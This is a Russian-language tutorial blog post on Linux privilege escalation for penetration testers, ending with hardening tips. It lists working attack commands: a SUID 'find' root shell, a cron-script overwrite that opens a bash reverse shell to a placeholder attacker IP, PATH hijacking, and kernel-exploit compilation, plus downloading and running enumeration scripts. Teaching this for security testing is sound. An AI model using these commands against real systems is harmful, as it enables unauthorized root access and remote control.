January 12

Повышение привилегий в Linux: практические команды и приемы

Повышение привилегий — это важная концепция в кибербезопасности и тестировании на проникновение, когда пользователь получает несанкционированный доступ с более высокими привилегиями в системе. В Linux повышение привилегий подразумевает использование неправильных конфигураций, уязвимостей программного обеспечения или слабых политик для повышения уровня доступа от обычного пользователя до администратора или пользователя root.

В этой статье рассмотрим практические команды, методы и инструменты для выявления и эксплуатации уязвимостей повышения привилегий в Linux. Также обсудим меры безопасности для предотвращения таких атак.

1. Что такое повышение привилегий?

Повышение привилегий происходит, когда злоумышленник расширяет свои права доступа сверх того, что было предусмотрено администратором системы.

Типы повышения привилегий:

  1. Вертикальное повышение привилегий : переход от более низкого уровня привилегий (например, обычного пользователя) к более высокому уровню привилегий (например, root).
  2. Горизонтальное повышение привилегий : получение доступа к привилегиям другого пользователя того же уровня.

2. Практические команды для повышения привилегий

2.1 Перечисление системной информации

Сбор информации о системе — это первый шаг к выявлению потенциальных уязвимостей.

  • Обнаружение версии ОС:
cat /etc/os-release uname -a
  • Версия ядра (для выявления уязвимостей ядра, которые можно эксплуатировать):
uname -r
  • Проверьте наличие установленного программного обеспечения:
dpkg -l         # Системы на базе Debian
rpm -qa         # Системы на базе Red Hat

2.2 Идентификация двоичных файлов SUID

Бинарные файлы SUID (Set User ID) запускаются с привилегиями владельца файла. Неправильно настроенные бинарники SUID могут быть использованы.

  • Список файлов SUID :
find / -perm -u=s -type f 2>/dev/null
  • Эксплуатация SUID-бинарных файлов :

Если обнаружите уязвимый двоичный файл (например, /usr/bin/find), его можно также взять в оборот:

find . -exec /bin/sh -p \; -quit

2.3 Слабые права доступа к файлам

Файлы со слабыми разрешениями можно редактировать или заменять, чтобы получить привилегии.

  • Проверьте доступные для записи файлы:
find / -type f -writable 2>/dev/null
  • Поиск доступных для записи скриптов, выполняемых пользователем root:
find / -perm -u+x -type f 2>/dev/null

2.4 Использование заданий cron

Задания cron, запланированные пользователем root, могут быть уязвимы, если они выполняют записывающие что-то скрипты.

  • Список заданий cron:
cat /etc/crontab ls -l /etc/cron.*
  • Эксплуатация доступных для записи скриптов Cron: Измените доступный для записи скрипт cron, чтобы запустить reverse shell или повысить привилегии:
echo  "bash -i >& /dev/tcp/attacker_ip/1234 0>&1" > /path/to/writable/script.sh

2.5 Эксплуатация переменных окружения

Такие переменные как$PATHмогут быть использованы в небезопасной конфигурации.

  • Проверьте PATH:
echo $PATH
  • Использование неправильной конфигурации PATH: Если root выполняет скрипт, а PATH неправильно настроен:
echo  '/bin/sh' > /tmp/ls chmod +x /tmp/ls export PATH=/tmp: $PATH

2.6 Эксплойты ядра

В старых ядрах могут быть известные уязвимости, которые можно использовать с помощью общедоступных скриптов эксплойтов.

  • Проверьте версию ядра :
uname -r
  • Поиск эксплойтов: используйте базы данных, такие как Exploit-DB, для поиска эксплойтов, специфичных для ядра:
searchsploit linux kernel <version>
  • Запуск эксплойта: загрузите и скомпилируйте эксплойт:
gcc exploit.c -o exploit ./exploit

3. Инструменты для повышения привилегий

1. LinPEAS : Автоматизирует перечисление эскалации привилегий.

  • Установите и запустите:
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh ./linpeas.sh

2. Linux Exploit Suggester: предлагает потенциальные эксплойты на основе конфигурации системы.

  • Запуск:
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh

3. GTFOBins: предоставляет базу данных уязвимых двоичных файлов.

4. LinEnum: скрипт для базовых проверок повышения привилегий Linux.

  • Запуск:
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh

4. Предотвращение повышения привилегий

1. Ограничьте двоичные файлы SUID: удалите разрешения SUID для ненужных двоичных файлов:

chmod -s /path/to/suid-binary

2. Защитите задания Cron: убедитесь, что все скрипты cron недоступны для записи:

chmod 700 /path/to/cron-script

2. Обновите ядро: регулярно обновляйте ядро ​​Linux для устранения уязвимостей:

sudo apt update && sudo apt upgrade

3. Защитите переменные среды: укажите полные пути для команд в скриптах, выполняемых привилегированными пользователями.

4. Используйте мониторинг целостности файлов: используйте такие инструменты как Tripwire для отслеживания изменений в критически важных файлах.

Заключение

Повышение привилегий — ключевой этап в тестировании на проникновение и оценке кибербезопасности. Понимание того, как выявлять и использовать уязвимости, может помочь эффективно оценить состояние безопасности системы. В то же время, реализация надлежащих мер безопасности может снизить риск несанкционированного повышения привилегий. Используйте перечисленные выше команды и методы ответственно и только в этических целях.

На этом все! Спасибо за внимание! Если статья была интересна, подпишитесь на телеграм-канал usr_bin, где будет еще больше полезной информации.